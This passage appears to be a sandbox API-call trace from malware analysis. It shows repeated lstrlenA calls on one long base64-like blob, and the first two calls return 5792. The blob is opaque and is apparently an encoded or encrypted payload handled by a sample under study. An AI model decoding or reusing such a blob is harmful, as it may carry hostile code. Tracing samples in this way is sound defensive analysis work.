(lpString="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") returned 5792 [0128.355] lstrlenA (lpString="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") returned 5792 [0128.355] lstrlenA (lpString="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